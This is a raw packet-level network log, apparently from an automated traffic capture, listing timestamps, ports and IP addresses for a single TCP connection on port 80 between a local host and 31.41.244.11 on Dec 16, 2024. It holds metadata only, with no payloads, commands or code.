Dec 16, 2024 17:02:16.170936108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170953035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.170985937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.171013117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.171648979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.171699047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.171766996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.171782970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.171807051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.171830893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.172483921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.172540903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.172640085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.172673941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.172705889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.172732115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.173321009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.173371077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.173455000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.173469067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.173501015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.173522949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.174192905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.174241066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.174334049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.174349070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.174379110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.174401045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.175165892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.175215960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.175262928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.175278902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.175317049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.175990105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.176042080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.176146984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.176162958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.176197052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.176217079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.176831007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.176879883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.176979065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.176994085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.177022934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.177047968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.177915096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.177963018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.178046942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.178071022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.178092957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.178117037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.178930998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.178978920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.179169893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.179184914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.179219961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.179241896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.179683924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.179737091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.179770947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.179786921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.179810047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.179830074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.180357933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.180406094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.180505037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.180521011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.180551052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.180572987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.181046009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.181092978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.181180954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.181195021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.181222916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.181265116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.181924105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.181969881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.182085037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.182101011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.182130098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.182148933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.182781935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.182828903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.182909012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.182924986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.182955980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.182977915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.183599949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.183650017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.183722019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.183748960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.183768988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.183790922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.184490919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.184540987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.184645891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.184660912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.184691906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.184714079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.185372114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.185424089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.185457945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.185472965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.185503006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.185524940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.186234951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.186286926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.186347008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.186381102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.186398029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.186422110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.187046051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.187099934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.187196970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.187233925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.187251091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.187278032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.188024998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.188086987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.188304901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.188355923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.188357115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.188412905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.189121962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189178944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.189234018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189268112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189284086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.189315081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.189807892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189863920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.189937115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189970970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.189989090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.190018892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.190572977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.190623045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.190680027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.190732002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.191411018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.191452026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.191472054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.191495895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.191504955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.191539049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.191557884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.191585064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.192375898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.192410946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.192430973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.192449093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.192478895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.192497015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.193312883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.193368912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.193490982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.193525076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.193559885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.193584919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.193929911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.193984032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.194220066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.194277048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.194685936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.194721937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.194766045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.194766045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.195280075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.195298910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.195327997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.195358038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.195446014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.195585966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.196228981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.196284056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.196409941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.196425915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.196458101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.196475029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.196787119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.196835041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.196979046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.197004080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.197025061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.197045088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.197637081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.197688103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.197730064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.197804928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.360631943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.360707045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.360744953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.360775948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.360796928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.360816956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.361099005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.361169100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.361289978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.361315966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.361336946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.361355066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.361865044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.361916065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.362025976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.362042904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.362071991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.362082005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.362778902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.362826109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.362863064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.362879038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.362917900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.362929106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.363450050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.363497972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.363554001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.363604069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.363831043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.363874912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.363946915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.363961935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.363993883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.364010096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.364665031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.364720106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.364787102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.364809990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.364837885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.364850998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.365524054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.365573883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.365659952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.365675926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.365706921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.365719080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.366377115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.366431952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.366545916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.366573095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.366594076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.366614103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.367327929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.367381096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.367454052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.367470980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.367501020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.367522001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.368155956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.368205070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.368242025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.368257999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.368283987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.368299007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.369000912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.369049072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.369184017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.369200945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.369227886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.369237900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.370081902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.370127916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.370280981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.370296955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.370322943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.370342016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.371309996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.371380091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.371568918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.371609926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.371620893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.371651888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.372558117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.372610092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.372714043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.372730017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.372765064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.372776031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.373121977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.373204947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.373318911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.373334885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.373368979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.373383999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.373969078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374018908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.374067068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374083042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374114990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.374129057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.374758959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374804974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.374908924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374926090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.374958038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.374979019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.375638962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.375683069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.375785112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.375799894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.375869036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.376362085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.376406908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.376549959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.376565933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.376595974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.376610041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.377136946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.377191067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.377327919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.377345085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.377373934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.377387047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.377863884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.377908945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.377985954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.378001928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.378030062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.378043890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.378901958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.378947973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.379045963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.379075050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.379103899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.379116058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.380150080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.380196095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.380364895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.380384922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.380419016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.381340981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.381388903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.381463051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.381479979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.381511927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.381521940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.382081985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.382129908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.382294893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.382311106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.382340908 CET	49708	80	192.168.2.8	31.41.244.11
